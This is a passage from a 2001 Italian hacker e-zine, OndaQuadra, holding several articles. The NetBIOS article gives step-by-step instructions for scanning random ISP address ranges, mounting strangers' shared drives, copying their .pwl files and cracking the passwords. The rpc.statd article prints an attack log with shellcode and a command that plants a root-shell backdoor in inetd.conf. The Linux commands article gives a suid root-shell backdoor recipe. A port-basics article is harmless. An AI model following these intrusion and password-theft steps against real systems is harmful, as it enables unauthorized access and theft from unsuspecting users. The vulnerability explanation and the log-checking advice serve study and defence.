partecipare, contattami all'email xp_terminator@libero.it , naturalmente tutti
coloro che collaboreranno saranno riportati in un'apposita sezione della
guida. Infine voglio fare un grazie speciale a tutti i miei amici del canale
#hack di azzurra (irc.azzurranet.org) che mi hanno tenuto molta compagnia
durante le ore di realizzazione della guida, anche distraendomi un
pò troppo ;)). Inoltre un grandissimissimo ringraziamento va a tutti gli
autori riportati nella seguente sezione fonti, dalle quali ho potuto attingere
ed imparare molte informazioni.
Ciao, e alla prossima guida!!! :))

XpTerminator http://xpterminator.cjb.net

Ricordatevi che per domande, commenti, per mandarmi affanculo o per
presentarmi vostra sorella dovete scrivere a: xp_terminator@libero.it



\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
FONTI
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

Ultime ma non per importanza le ottime fonti da cui ho attinto:


"Occultamento e falsificazione dell'IP" di David Oliveira, pubblicato su
Linux Mania numero 5

"Hijacking a TCP connection using an ARP attack" Jussi-Pekka Kentala, Sami
Levijoki (Department of Computer Science and Engineering - Helsinki
University of Technology)

"Session hijack script" di Dave Dittrich

"Guida di linux" di Bakunin (Per la tecnica delle email anonime con linux)

"Mimetizzazione termo ottica" (per CLI e BIC)
e "Tecniche di scanning" (per esempi di three-way-handshake) di Tritemius





+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [NETW0RKiNG] #03 - 17/09/2001 |
| NETBiOS [XpTerminator] 0x0A/0x29 |
+-------------------------------------------------------------------------------+



oOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO
Ne io ne lo staff di oq si assume responsabilità su ciò che farete con le
informazioni di questo tutorial
oOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO

Le informazioni di questo articolo sono puramente a scopo informativo e quindi non si istiga nessuno a fare atti di vandalismo nei confronti degli utenti malcapitati,
anzi si consiglia di avvertire i rispettivi proprietari di pc netbiossati con risorse condivise del pericolo a cui vanno in corso.

Ed anche per stavolta mi sono parato il culo.... ;)


SALUTI: saluto tutti i miei amici di free.it.hacker.virus e di #chihackerare@irc.azzuranet.org
THX: ringrazio i miei amici Ser Kill e WishMaster
FUCK: un grande vaffxxxulo al mio prof. di tecnologia che mi ha messo il debito formativo :(
DEDICATED TO: dedico questa guida al ng free.it.hacker.virus e ad Arkanoid
WHERE : potete trovarmi su #chihackerare o #hack di irc.azzurranet.org o sul ng free.it.hacker.virus


Il NetBios è un protocollo utilizzato per la condivisione di risorse in rete, tipo dischi rigidi, stampanti, drive, ecc.
Esso è incapsulato all'interno di un altro protocollo che funge da "mezzo di trasporto", e può essere di vario genere: Tcp/Ip, NetBeui, ecc.


oOoOoOoOoOoOoOoOoOoOoOoOo COME APPROFITTARSENE OoOoOoOoOoOoOoOoOoOoOoOoOoOoO


Come si può accedere alle risorse condivise da un computer netbiossato?
Procediamo come segue.

Per prima cosa dobbiamo preparare il nostro pc per poter accedere alle risorse condivise:
1)andate al pannello di controllo
2)doppio click su connessione remota
3)tasto destro sulla vostra connessione --> proprietà
4)andate alla scheda protezione, scegliete in basso Accedi alla rete e clickate su ok
5)tornate al pannello di controllo
6)doppio click su rete
7)click su tasto aggiungi
8)scegliete client e click su tasto Aggiungi...
9)scegliete client per reti microsoft e click sul tasto ok
10)riavviate il pc per l'aggiornamento del sistema

[con sistema operativo Win ME l'operazione è già fatta, ma cmq è sempre meglio dargli un'occhiata]

Ed ora che il pc è pronto, cosa dobbiamo fare?
Logicamente dobbiamo trovare prima un pc netbiossato :)
Andiamo su qualche motore di ricerca e cerchiamo un sito dal quale poter scaricare Legion, sicuramente il miglior scanner per pc netbiossati (mi sembra che l'ultima ver. sia la 2.1 e la consiglio molto perchè è stupenda :)
Una volta downloadato, installiamolo ed avviamolo. Come range di ip sceglietene uno a caso, ma non troppo grande.
(io consiglio di scannare gli ip di libero (151.21.xxx.xxx mi sembra) poichè qui se ne trovano molti di pc con il servizio netbios attivo :) purtroppo solo pochi hanno condivisioni attive :( )
Quando legion avrà finito lo scan, per ogni pc con il netbios attivo eseguirà un altro per controllare se ha risorse condivise.
Eh si....un pc con la porta netbios aperta non ha per forza risorse condivise! :(
E non solo! Vi sono tanti altri motivi per non poter accedere a risorse condivise, ne dico solo qualcuno:

*ci sono cartelle condivise ma protette
*ci sono cartelle condivise, non protette ma con politiche sui files
*ci sono cartelle condivise, non protette, senza politiche sui file ma solo accessibili in dl
*c'è un server samba
*c'è un server samba con un logfile sui non autorizzati
*c'è un server samba con un logfile sui non autorizzati ed un amministratore incazzato :)

Quindi non credete di fare le cose tanto facilmente!

Quando si utilizza netbios, bisogna identificare il computer che offre il servizio di sharing (condivisione)
e la specifica risorsa desiderata in questo formato:

\\<pc>\<servizio>

quindi quando legion avrà trovato un pc netbiossato e con risorse condivise nella textbox scriverà \\xxx.xxx.xxx.xxx\<risorsa>
naturalmente al posto delle x ci sarà l'ip e dolo il back slash a destra dell'ip la risorsa condivisa.
Prendiamo "pari pari" questo identificativo della risorsa, apriamo risorse del computer e dal menu strumenti scegliamo Connetti unità di rete.
Si aprirà una piccola finestra simile a questa:

_____________________________________________________
| Connetti unità di rete |?|X||
|-----------------------------------------------------|
| ______________________ __________ |
| Unità: |__F:_______________|_|| |____OK____| |
| ______________________ __________ |
| Percorso: |___________________|_|| |_Annulla__| |
| _ |
| |_| Riconnetti all'avvio |
|_____________________________________________________|

Nel combo dell'unità in questo disegnino vi è la F ma potrebbe cambiare da computer a computer a seconda delle lettere già utilizzate.
Rimaniamo quindi la lettera già segnalata. Nel combo percorso invece mettiamo \\xxx.xxx.xxx.xxx\<risorsa>.
Controlliamo che la checkbox riconnetti all'avvio non sia selezionata (almeno che non vi servi...) e clicchiamo su OK.
Se abbiamo un minimo di fortuna dovremo solo attendere un pò...se invece siamo iellati torniamo al nostro legion e cerchiamo per qualche altro pc.
Se invece è andato tutto bene come ho detto, attendiamo un pò e si aprirà una finestra come quella di risorse del computer, ma non nel nostro hd ma bensì nell'unità condivisa alla quale ci siamo connessi :) !
Quando sarà finito il download della lista dei file presenti nell'unità, chiudiamo la finestra ed andiamo al prompt di ms-dos dal quale si lavora + velocemente....
(da ora in avanti intenderò con f: l'unità che avete scelto precedentemente)
digitiamo f: e saremo nella risorsa del pc netbiossato.
Ora possiamo fare tutto ciò che vogliamo! (non fate i lamer!). Se per esempio vogliamo vedere le password di internet del malcapitato, entriamo nella sua cartella di windows (cd windows)
e copiamoci sul nostro hd *.pwl (copy *.pwl c:\).
Ora scarichiamo da internet un programma per trovare le password dei pwl (consiglio PwlTool).
Se avete scaricato pwltool basta che clicchiate su "Browse" alla destra di PWL file e andiamo a selezionare il file pwl copiato.
La procedura è uguale su quasi tutti i tool per pwl. Cmq, dopo aver clickato su SearchPassword (search password fast in pwltool) avrete il nome utente e la password :) (qualche volta non và tutto così liscio... )

Che altro volete sapere? Mi pare che abbia detto tutto...
allora in bocca al lupo e buon scanning! e soprattutto non fate i lamer!


oOoOoOoOoOoOoOoOoOoOoOoOoOo COME DIFENDERSI OoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO


Se siete netbiossati o volete solo controllare di non esserlo, dovete solo assicurarvi di disattivare l'opzione netbios da client per reti microsoft che si trova in rete da pannello di controllo
e se possibile cercate di disattivare condivisione file e stampanti almeno quando ci si connette ad internet.


Per critiche, per domande, per mandarmi affCENSUREDulo o per presentarmi vostra sorella :))
scrivetemi all'email xp_terminator@katamail.com

Ciauz :)
Xp Terminator

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [NETW0RKiNG] #03 - 17/09/2001 |
| C0SA S0N0 LE P0RTE [Screener_it] 0x0B/0x29 |
+-------------------------------------------------------------------------------+



Screener_it è tornato ragazzi !!!!
Come ? Te ne eri andato ? Non c'eravamo accorti che mancassi !!!
Grazie !! Scherzi a parte, con questo insulso articolo riprendo a scrivere articoli
per il sito.. Era da un bel po' che non scrivevo niente.. Per fortuna che sui txt non
metto mai le date altrimenti..

Passiamo ad altro.. Di che parleremo oggi ? Parleremo di porte !!!
Cominciamo subito: vicino al mio computer c'è una porta in legno, montata sui dei cardini..
La struttura è molto interessante... SCHERZO !!!! Oggi parleremo di altre porte !!
Parleremo di porte del computer.. Vabbè, io vado, eh..

/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\
\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/

Come ben sapete quando un computer è collegato in internet ha un suo indirizzo IP..
Sì, fin qui c'eravamo..
Pensate a un computer, pensate a un server.. Quanti servizi offre ? Può offrire l'accesso
FTP, HTTP, SMTP, POP3, NEWS.. Tanti servizi insomma.. E come fa a gestirli contemporaneamente ?
In teoria ci vorrebbe un computer per ogni singolo servizio.. QUindi uno per l' FTP, uno per l'HTTP, uno per il POP3..
Eh, sì, e poi ??? Allora per mettere in piedi un sito dobbiamo comprarci una casa solo per farci stare solo i computer..
In più ogni computer sarebbe collegato in rete con un altro indirizzo IP.. Che sega!!

Adesso pensate a noi.. Quanti programmi per chattare avete installati sul computer ? ICQ, C6, Yahoo Messanger, mIRC.. E magari intanto che chattate con questi programmi navigate sul world wide web (www) e vi caricate il vostro sito con l'FTP..
Ma come cazzo fa il computer a reggere tutte queste informazioni che viaggiano ? Non c'è pericolo che i dati si mischino ? NOn ci avevate mai pensato ? Ahi, ahi, ahi..

Proprio per evitare che i programmi mischino i loro dati mentre li trasmettono (in questo caso sarebbero in CONFLITTO) e si disturbino a vicenda esistono le porte..
Per capirci meglio pensate di entrare nell'edificio comunale del vostro paese.. Bene, quello è il server.
Ora, a voi serve un documento d'identità.. Dove andate ? All'ufficio anagrafe, ovvio.
Se invece foste avete bisogno di parlare direttamente con il sindaco ? Andate al suo ufficio, ovvio.
Le porte sono un po' come gli uffici.. Ognuna di esse svolge un determinato servizio, che non può essere svolte dalle altre.
Pensare a un server (o a un computer) senza porte sarebbe un po' come immaginare tutto gli uffici comunali in unico stanzone immenso e senza nessun cartello.. Immaginate di trovarti in questo stanzone enorme, tutto attorniato da persone che vagano per la stanza.. Fermate la prima persona :
"Scusi, per fare la carta d'identità dove vado?"
"Non lo so.. Provi da quella signora laggiù"
"No, non si deve rivolgere a me.. No, non lo so chi le può essere utile.."
Tempo 3 secondi e uno impazzirebbe... Con le porte invece è tutto più semplice.
A ogni porta è affidato un certo servizio, così si evitano le confusioni.

-Ok, abbiamo capito a cosa servono le porte... Ma quante sono ?
Ogni computer ha a disposizione porte a partire da 0 fino a 65535. Ogni porta ha una sua particolare funzione, che volendo ognuno può programmare..

-Ma cosa risponde alla porta ?
Alle varie porte rispondono i demoni.. Aiuto, c'ho paura !! Niente paura, ragazzi !! I demoni non sono altro che programmi che si mettono in ascolto su una data porta e quando qualcuno spedisce qualche comando a quella porta loro lo eseguono.. Sempre che il "demone" riconosca il comando che gli viene spedito..
Per vedere se ci sono demoni attivi sul vostro computer basta che andiate nel prompt di dos e digitiate netstat -an
Se trovate qualcosa tipo
0.0.0.0 1005 LISTENING
Vuol dire che c'è un demone che è in ascolto sulla porta 1005 che attende istruzioni.. Il più delle volte i demoni sono programmi innocui, come ICQ che si mette in ascolto per vedere quando il computer è online.. A volte cmq i demoni possono anche essere virus, come Back Orifice e Netbus, che si mettono in ascolto ed attendono che qualche lamerazzo di merda li attivi.. Per informazioni più approfondite vedi la sezione "Virus Zone" del sito del Tank Commandos.

-Ma come mai esistono tante porte ? Dalla 0 alla 65535 sono ben 65536 porte !!
Esistono così tante porte x evitare al massimo i conflitti tra i vari programmi.. E' difficile che 2 demoni siano in ascolto sulla stessa porta, se i programmatori dei 2 hanno potuto scegliere fra 65536 porte!!!
Alcuni servizi comunque usano porte che tutti conosco e che sanno quindi che non possono utilizzare..
Sono i servizi ben noti ed occupano le porte al di sotto della 1024.. Quindi se un giorno farete un programma di chat ricordatevi di indicare come porta di ricezione messaggi e di invio due porte superiori alla 1024.. Un consiglio: per evitare al massimo i conflitti vi conviene usare porte molto alte, sopra le 31000 !!! State sicuri che lì di conflitti ne troverete pochi !!!

-Hai parlato di porte i cui servizi sono ben noti... Quali sono ?
Allora.. Dipendono dal sistema operativo e dall'utilizzo che viene fatto del computer.. Cmq le porte principali sono:


|-------------------|
| PORTA | SERVIZIO |
|-------------------|
|----7---|---ECHO---|
|---21---|---FTP----|
|---23---|--TELNET--| (SOLO UNIX)
|---25---|---SMTP---|
|---37---|--SERVER--|
|---43---|---WHOIS--|
|---79---|--FINGER--|
|---80---|---HTTP---| (A VOLTE LA PORTA PUO' ESSERE LA 8080)
|--110---|---POP3---|
|--119---|---NEWS---|
|--------|----------|

In genere a queste porte rispondono questi servizi (demoni) ma possono variare.. Nel 99% dei casi almeno queste porte sono giuste..
Potete trovare tutte le porte "Well Know Services" nel file services che in WIn 98 si trova in c:\windows

Mi pare di aver esaurito l'argomento.. Passiamo a un paio di dediche, che no fanno male..

/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\
\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/

GRAZIE A:

Bakunin - 6 un mito !!!! Buona maturità !!!
Marina - Gli occhi + belli che ho mai visto !!!
Mad - Se non ci fossi tu a tenermi compagnia nelle lunghe sere..
Jarod[KM] - 6 grande anche tu.. e 6 anche simpatico !!!

-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\
-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/

Se abbiamo ringraziato qualcuno mandiamo anche a fanculo qualcuno..

FUCK TO:

Ricky Martin (di Ostuni): Le proteine fanno marcire il cervello.. Tu ne sei la prova
The Daemon: 6 un hacker ? E che te ne fai di un pass e di un login di Tin.it ?

A quelli che si credono hacker anche se non sanno neppure come si scrive

IO NON HO PAURA DI VOI.. MA VOI AVETE PAURA DI ME !!!

()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()

Screener_it



+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [LiNUX] #03 - 17/09/2001 |
| LA LUNGA ST0RiA DELL'EXPL0iT DEL DEM0NE RPC.STATD [xyzzy] 0x0C/0x29 |
+-------------------------------------------------------------------------------+


ovvero
come scriversi il proprio exploit personale in tre puntate

*************** Prima Puntata ***************

0. Introduzione

Questa serie di articoli e' direttamente derivata da una esperienza
personale estremamente interessante. Nei primi mesi del 2001 ho avuto
modo di "provare sulla mia pelle" l'efficacia di uno degli exploit piu'
diffusi degli ultimi tempi: statdx. Come vedremo nel dettaglio, se
avrete la pazienza di seguirmi (...Dio! Quanto mi sembra Alberto
Angela! Ho sempre sognato di poterlo dire ;), questo exploit fa uso
di tecniche abbastanza sofisticate basate su una vulnerabilita'
apparentemente insignificante ma che, se opportunamente sfruttata,
permette ad un attaccante di ottenere privilegi di root su una
macchina linux collegata in rete, con l'aggravante che tali privilegi
sono usufruibili anche remotamente attraverso un semplice collegamento
TCP/IP... quasi come una macchina Windows... ;)

Nella prima parte vedremo di "conoscere meglio" il nostro bersaglio,
sia in termini di cosa fa, sia soprattutto in relazione alla sua
vulnerabilita'.

Nella seconda parte, certamente la piu' "intensa", cammineremo insieme
passo per passo sulla lunga e tortuosa strada che conduce allo sviluppo
di un exploit che si basa sulle stesse tecniche usate da statdx e, come
premio, otterremo, oltre che alla conoscenza di una delle piu' interessanti
metodologie di sovrascrittura dello stack, anche un programmino in C che,
opportunamente modificato, puo' certamente essere utilizzato per scopi
didattici piu' approfonditi.

NOTA NOTA NOTA
se qualcuno volesse usare le informazioni ed i metodi appresi
dalla lettura di queste righe per altri scopi, e' bene che sappia
che NON HA ASSOLUTAMENTE LA MIA APPROVAZIONE e che mi dissocio fin
d'ora da utilizzi di queste cose a scopo di effrazione e/o violazione

Nella terza ed ultima parte, analizzeremo nel minimo dettaglio il codice
sorgente che compone l'exploit stesso, senza tralasciare nessun particolare,
nemmeno l'interessantissima parte relativa al collegamento TCP/IP di un
sistema violato (eh gia', fa anche questo! ;).

Infine, ciliegina sulla torta, la descrizione di un piccolissimo (beh,
nemmeno tanto) baco che ho avuto la fortuna di trovare (oddio, la fortuna...
non mi funzionava... cosi' ho cercato di capire "perche'" non mi
funzionava... ;) e che ho prontamente segnalato all'autore dell'exploit...
i miei "dieci cents" di contributo alla comunita'... ;)

Ok, ho abbaiato a sufficienza... partiamo!


1. Il demone rpc.statd

Il demone rpc.statd e' una delle componenti del sistema NFS (Network File
System) proposto dalla Sun Microsystems per realizzare la condivisione di
directory attraverso sistemi collegati tra di loro in rete ed ancora oggi
adottata in larga misura tra sistemi Unix/linux.

Piu' in particolare, rpc.statd lavora in "simbiosi" con un altro demone
della "suite" NFS, rpc.lockd, che si occupa di gestire gli interblocchi
su file o directory che siano accedute contemporaneamente.

I due demoni hanno il compito di mantenere aggiornato lo stato dei vari
"lock" (interblocchi, appunto) sui file condivisi in rete e per fare questo
rpc.statd comunica ad rpc.lockd lo stato di "salute" del sistema su cui e'
in esecuzione, rispondendo ad una esplicita richiesta proveniente da parte
di rpc.lockd. Poiche' per eseguire queste operazioni rpc.statd utilizza
il protocollo TCP/IP (e, piu' precisamente, la sua componente UDP) il
funzionamento dei due demoni viene garantito anche nel caso (assolutamente
normale) in cui i due demoni siano in esecuzione su sistemi differenti.

rpc.lockd richiede ad rpc.statd un servizio di monitoraggio poiche' i lock
dei file vengono gestiti dal kernel del server NFS, per cui in caso di
crash o reboot di un sistema normalmente tali lock vengono perduti. E'
proprio compito di rpc.statd il gestire i cambiamenti di stato in modo
coerente.

Quando un Server NFS viene fatto ripartire, rpc.statd permette di risolvere
tutti i lock precedentemente mantenuti in stato di "sospeso", notificando la
situazione al lock daemon rpc.lockd del client NFS, in modo tale che
quest'ultimo possa intraprendere le azioni opportune; normalmente si
ritrasmettono tutte le richieste precedentemente accettate e se un lock
daemon non riesce a confermare qualcuna di queste richieste, viene inviato
un messaggio di SIGLOST al processo che originariamente aveva richiesto il
lock.


2. La vulnerabilita'

La vulnerabilita' di rpc.statd e' rappresentata da una mancanza di verifica
delle informazioni ricevute dal processo che si suppone sia il rpc.lockd
remoto. Poiche' rpc.statd normalmente e' in esecuzione con privilegi di root
e poiche' non effettua alcun controllo di validita' delle informazioni,
tutte le operazioni che possono essere fatte eseguire da rpc.statd vengono
eseguite con i privilegi di root.

Per tracciare il proprio comportamento, rpc.statd passa come stringa di
formattazione alla funzione syslog() dei dati forniti dall'utente. A causa
di questa mancanza di controllo sulla validita' del contenuto della stringa
di formato, un utente malintenzionato potrebbe inviare una stringa
opportunamente confezionata riuscendo ad "iniettare" del codice eseguibile
nello spazio di indirizzamento del processo e riscrivendo l'indirizzo di
ritorno della funzione syslog(), forzando in tal modo il procramma ad
eseguire il codice iniettato.

rpc.statd richiede i privilegi di root per potere aprire i suoi socket di
rete, ma purtroppo successivamente non li restituisce. Per questo motivo il
codice iniettato da un utente malintenzionato viene eseguito con i privilegi
di root.


Ecco un classico esempio di messaggio di log (reperibile all'interno del file
/var/log/message) ottenuto da un sistema compromesso, che illustra come sia
stato effettuato l'exploit:

Aug XX 17:13:08 victim rpc.statd[410]: SM_MON request for hostname
containing '/': ^D^D^E^E^F
^F^G^G08049f10
bffff754 000028f8 4d5f4d53 72204e4f 65757165 66207473 6820726f 6e74736f
20656d61 746e6f63 696e6961 2720676e 203a272f
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000bffff7
0400000000000000000000000000000000000000000000000bffff7050000bffff70600000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000bffff707<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>K^<89>v

<83> <8D>^(<83> <89>^<83> <8D>^.<83> <83> <83>#<89>^
1<83>
<88>F'<88>F*<83> <88>F<89>F+,
<89><8D>N<8D>V<80>1<89>@<80>/bin
/sh -c echo 9704 stream tcp
nowait root /bin/sh sh -i >> /etc/inetd.conf;killall -HUP inetd

!!!NOTA IMPORTANTE!!!
se, durante la visualizzazione del VOSTRO file di log, doveste
imbattervi in una segnalazione diagnostica simile a questa, il mio
consiglio spassionato e' quello di mettervi a ricercare segni di
intrusione per verificare che il sistema non sia stato compromesso.
Nel caso riteniate che questo sia avvenuto, provate a seguire i
passi per recuperare un sistema compromesso, leggendo con estrema
attenzione le indicazioni presenti ai vari URL che segnalo nella
Bibliografia.


2.1 Bibliografia e riferimenti utili

http://www.cert.org/incident_notes/IN-2000-10.html
http://www.cert.org/advisories/CA-2000-17.html
http://www.securityfocus.com/bid/1480



Bene, per questa puntata e' tutto. Mi auguro di essere riuscito a solleticare
la vostra curiosita' e vi rimando alla prossima puntata, nella quale saremo
molto piu' "tecnici" che in questa...

Vi lascio con un caloroso consiglio: rispolveratevi le conoscenze di gdb, il
debugger GNU di linux... sara' il nostro fidato compagno nella prossima
puntata...

A presto

;)

xyzzy

----------------------------------------------------------------------
You are in a debris room filled with stuff washed in from the surface.
A low wide passage with cobbles becomes plugged with mud and debris
here, but an awkward canyon leads upward and west. A note on the wall
says "Magic word XYZZY".



+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [LiNUX] #03 - 17/09/2001 |
| WHAT U MUST T0 KN0W II (comandi e non solo) [Malkavian] 0x0D/0x29 |
+-------------------------------------------------------------------------------+



Name: Malkavian a.k.a. freakkettone:)
Day: 10/9/2001
Hours: 23:07
MusiK: Velvet "Boy Band" (ovvero "...soffro lo stress...io soffro lo stress...")
Subsonica "Tutti i miei sbagli" (cio' che penso' un elettore, subito dopo aver
votato Berlusconi...hihihi )
Ecc. Ecc. ...ovvero tutto cio' che passa la radio :P

Ok, si parte! Beh, a dire il vero non so ancora cosa scrivere in questo pezzo, non ho
preparato una straccio di scaletta...quindi andro' a ruota libera cercando di spiegarvi
i principali comandi utilizzati sotto Linux, con l'aggiunta di altre piccole note sul
nostro amico Pinguino:)
Cominciamo col spiegare un po' la SHELL di linux: e' l'interprete dei comandi, un po' come
command.com sotto dos. La piu' comune e' la bash.
Diversamente dal prompt del dos la shell e' case sensitive (distingue fra lettere maiuscole e
minuscole) e soprattutto permette un sistema di protezione dei file per lettura, scrittura,
esecuzione.
Per prendere padronanza con i comandi che vanno impartiti alla shell unix cominciate
ad usare Linux senza interfaccia grafica, ma direttamente dalla console. Anche se
cio' puo' sembrare noioso e improduttivo, vi assicuro che nel giro di qualche giorno di
utilizzo imparerete a districarvi fra i vari comandi e sarete quasi piu' veloci di quando
usavate il mouse. Ricordate che e' importante saper usare bene i comandi dalla shell, perche'
quando e se interagirete con un sistema remoto (tramite telnet) lo farete usando questi comandi
e non la modalita' grafica windows-like.
Ora andiamo ad esaminare i primi comandi che ci torneranno utili.

COMANDI SU FILE E DIRECTORY

ls: visualizza la lista dei files contenuti nella directory in cui ci si trova.
Le opzioni piu' usate sono -a che visualizza anche i files nascosti
-l che ci da' info piu' dettagliate su ciascun file
Ad esempio con un ls -l otteniamo un output col seguente formato:
-rwxrwxrwx user group nomefile
dove la prima parte indica i permessi dei file relativi all'uso che ne puo' fare
il proprietario (che e' di default la persona che lo ha creato) o user,
il gruppo a cui appartiene il proprietario o group,
tutti gli altri o others.
Questi permessi sono descritti dalle lettere r (reading = lettura), w (writing = scrittura),
x (executing = esecuzione). Le prime tre lettere descrivono i permessi del proprietario, le
successive tre lettere quelli del gruppo e le ultime 3 lettere i permessi di tutti gli altri.
Ad esempio rwxr-xr-- significa che il proprietario puo' leggere, scrivere ed eseguire il
file in questione, il gruppo puo' solo leggerlo ed eseguirlo ed infine gli altri utenti,
che non sono il proprietario, ne' appartengono al suo gruppo, possono solo leggerlo.
Per cambiare i permessi attribuiti a un file bisogna esserne il proprietario o essere root,
e per modificarli useremo il prossimo comando che vado ad illustrare.

chmod: cambia i permessi di un file. La sintassi e': chmod <u,g,o,a>-<+/-r,w,x> <nomefile>
per es. ho un file coi permessi visti sopra: rwxr-xr--
Voglio ora settarlo come scrivibile anche dagli utenti che appartengono al gruppo del
proprietario: chmod g+w nomefile g=group
Se avessi voluto togliere agli altri il diritto di leggerlo avrei dato chmod o-r nomefile
o=others
Se avessi voluto che tutti (proprietario, gruppo, altri) avessero avuto pieni permessi
sul mio file avrei dato: chmod a+rwx nomefile a=all
Un permesso speciale e' il suid, ovvero il permesso che permette ad un file di essere
eseguito con i permessi dell'utente proprietario che l'ha creato, anche quando ad
eseguirlo e' un altro utente. Si applica con chmod +s nomefile
Ad esempio se riuscite a diventare root potete copiare la shell sotto un altro nome
in un altra directory, settarle il permesso suid e utilizzarla come una rudimentale
backdoor quando entrerete nel sistema come utente normale:
cp /bin/bash /tmp/shellz
chmod +s /tmp/shellz
chmod o+x /tmp/shellz
Poi fate il login come utente normale, andate ad eseguire la shell "shellz" e vi
ritroverete root (digitate "whoami" e vi sara' risposto "root")

chown e chgrp: servono a cambiare il proprietario e il gruppo ai quali appartiene un file
Sintassi: chown <nomenuovoproprietario> <nomefile>

pwd: (present working directory) e' il comando che visualizza la directory in cui vi trovate
in quel momento.

cd: (change directory) vi fa spostare in un'altra directory. Sintassi: cd <nomedirectory>
Con cd .. andate alla dir di livello superiore. Con cd ~ andate alla home directory
assegnatavi.
Le sottodirectory che troviamo nella directory principale / sono, coi rispettivi contenuti:
/bin: contiene programmi fondamentali per il SO
/boot: con i dati per l'avvio del sistema
/dev: i devices (vedi sotto)
/etc: file di configurazione, fra cui /etc/passwd ed /etc/shadow (con le password utenti)
/home: le home directory di ciascun utente
/lib: le librerie, cioe' parti di codice condivise fra i programmi
/mnt: mount point (vedi sotto)
/proc: mount point del file system "proc"
/root: e' la home dir del root (o sysadministrator)
/sbin: programmi per il funzionamento del SO, come il bootloader Lilo
/tmp: file temporanei
/usr: programmi installati dagli utenti, con le loro librerie
/var: file variabili, in attesa di essere processati, come mail da inviare, documenti da
stampare, file di log, ecc.
Parliamo un momento di DEVICE e MOUNT (riferendoci alle directory /dev e /mnt).
Nella directory /dev ci sono dei files chiamati device che rappresentano le PERIFERICHE.
Infatti, a pensarci bene, una periferica puo' essere assimilata ad un file, in quanto da
essa si "legge" e in essa si "scrive" qualche informazione. I device (dispositivi) si
dividono in Block Device o "a blocchi", i quali non consentono operazioni "sequenziali",
come floppy, cdrom, hard disk, e in Caracter Device, che invece consentono solo operazioni
di "lettura" e "scrittura" sequenziali (una dopo l'altra), come il modem o la porta
parallela.
Questi device possono essere "montati" nella directory /mnt tramite il comando mount:
mount <device> <mountpoint> -t <tipo unita'>
per es. mount /dev/fd0 /mnt/floppy -t vfat oppure mount /dev/hdb /mnt/cdrom -t iso9660
oppure piu' semplicemente mount /mnt/cdrom ecc.ecc.
Per smontare un dispositivo, cosa necessaria da fare prima di rimuoverlo, si usa unmount
con stessa sintassi.
Per montare automaticamente al boot dei device usati con maggiore frequenza, si deve
configurare il file /etc/fstab. Nei moderni sistemi linux queste operazioni di montaggio
e smontaggio dei dispositivi sono settati automaticamente, per cui non ci dovrebbe essere
bisogno di modificarli.
Parliamo ora un secondo della dir /proc.
Il mount point /proc viene montato di default al boot, anche se di fatto non corrisponde
a nessun device. Questo e' infatti solo un trucco usato dal sistema per dare info sullo
stato in cui ci si trova: andando infatti nella dir /proc e digitando cat cpuinfo oppure
cat meminfo si avranno informazioni sull'utilizzo del processore e della RAM da parte del
sistema operativo.

mkdir: crea una dir all'interno della dir in cui si e' in quel momento. Sintassi: mkdir <nomedir>

cp: copia file o directory. Sintassi: cp <file di origine> <file di destinazione> -R
-R e' opzionale e indica di copiare ricorsivamente, nel caso in cui si vogliano copiare
intere directory. Per es. cp /home/malkavian/prova /home >>> copia prova nella dir /home
oppure cp /home/malkavian/prova /home/nuovonome >>> lo copia nella dir /home e lo rinomina

Hours: 1:15
Pausa Sonno:) !! --------------------------------------------------------------------------

Hours: 8:05
Riprendono i lavori !! --------------------------------------------------------------------
MusiK: Battiato Studio Collection ...qualcosa di colto ci vuole di prima mattina :)

mv: per spostare o rinominare un file. Sintassi: mv <file di origine> <directory o nuovo nome>
per es. mv /home/malkavian/prova /home >> sposta il file prova nella dir /home
oppure mv /home/malkavian/prova /home/prova2 >> sposta il file prova nella /home e
lo rinomina "prova2"

rm: per cancellare files o directory. Sintassi: rm <nomefile o directory> -R
-R e' opzionale e viene usato quando si rimuove una dir per eliminare anche i files
in essa contenuti.

ln: crea un link a un file. Sintassi: ln -n -s <nome file> <nome collegamento>
-n impedisce di sovrascrivere file esistenti
-s indica collegamento simbolico

cat: scrive un file (di testo) su schermo. Sintassi: cat <nomefile> | more
Il carattere "|" detto "pipe" viene usato per redirigere l'output del primo comando al-
